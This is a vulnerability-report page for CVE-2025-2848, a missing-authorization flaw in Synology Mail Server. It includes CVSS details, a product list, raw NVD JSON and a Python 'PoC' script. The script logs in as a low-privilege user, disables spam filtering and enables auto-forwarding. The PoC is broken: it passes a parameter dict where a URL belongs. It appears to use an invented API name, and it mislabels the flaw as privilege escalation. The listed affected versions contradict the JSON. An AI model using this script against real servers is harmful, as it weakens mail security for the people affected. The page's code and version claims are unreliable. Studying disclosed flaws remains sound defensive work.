Security Vulnerability Report
中文
CVE-2025-2848 CVSS 6.3 MEDIUM

CVE-2025-2848

Published: 2025-12-04 15:15:57
Last Modified: 2026-02-09 21:38:16

Description

A vulnerability in Synology Mail Server allows remote authenticated attackers to read and write non-sensitive settings, and disable some non-critical functions.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:synology:mail_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:synology:diskstation_manager:7.1:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:synology:mail_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:synology:diskstation_manager:7.2:*:*:*:*:*:*:* - NOT VULNERABLE
Synology DSM < 7.2.1-69057-5
Synology MailPlus Server < 5.4-44558
Synology DSM 6.2.3所有版本(已停止支持)
Synology MailPlus 5.3及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-2848 PoC - Synology Mail Server Privilege Escalation # Author: Security Researcher # Note: This is for educational purposes only import requests import json TARGET_HOST = "https://vulnerable-synology-server.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def authenticate(): """获取认证令牌""" session = requests.Session() login_url = f"{TARGET_HOST}/webapi/auth.cgi" login_data = { "api": "SYNO.API.Auth", "method": "login", "version": 6, "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) return session, response.json() def exploit_mailserver_config(session, sid): """利用漏洞读取/写入邮件服务器配置""" # 读取非敏感配置信息 read_config_url = f"{TARGET_HOST}/webapi/entry.cgi" read_params = { "api": "SYNO.MailServer.Config", "method": "get", "version": 1, "_sid": sid } # 尝试修改配置(禁用某些功能) write_params = { "api": "SYNO.MailServer.Config", "method": "set", "version": 1, "_sid": sid, "spam_filter_enabled": False, # 禁用垃圾邮件过滤 "auto_forward_enabled": True # 启用自动转发 } read_response = session.get(read_config_url, params=read_params) write_response = session.get(write_params) print(f"Config Read: {read_response.text}") print(f"Config Write: {write_response.text}") def main(): session, auth_result = authenticate() if auth_result.get("success"): sid = auth_result["data"]["sid"] print(f"[+] 认证成功,获取SID: {sid}") exploit_mailserver_config(session, sid) else: print("[-] 认证失败") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-2848", "sourceIdentifier": "[email protected]", "published": "2025-12-04T15:15:57.077", "lastModified": "2026-02-09T21:38:15.597", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in Synology Mail Server allows remote authenticated attackers to read and write non-sensitive settings, and disable some non-critical functions."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:synology:mail_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.6-10676", "matchCriteriaId": "52E6D65F-13B1-48DF-B79D-C350FD34FCBF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:synology:diskstation_manager:7.1:*:*:*:*:*:*:*", "matchCriteriaId": "10C4B055-D99B-4D58-811C-DD323A68A890"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:synology:mail_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.6-20676", "matchCriteriaId": "81EF6DFE-CA9F-4F50-975E-69B2584E43CC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:synology:diskstation_manager:7.2:*:*:*:*:*:*:*", "matchCriteriaId": "5C262042-304B-49DC-BB4B-655C5C36D88C"}]}]}], "references": [{"url": "https://www.synology.com/en-global/security/advisory/Synology_SA_25_05", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}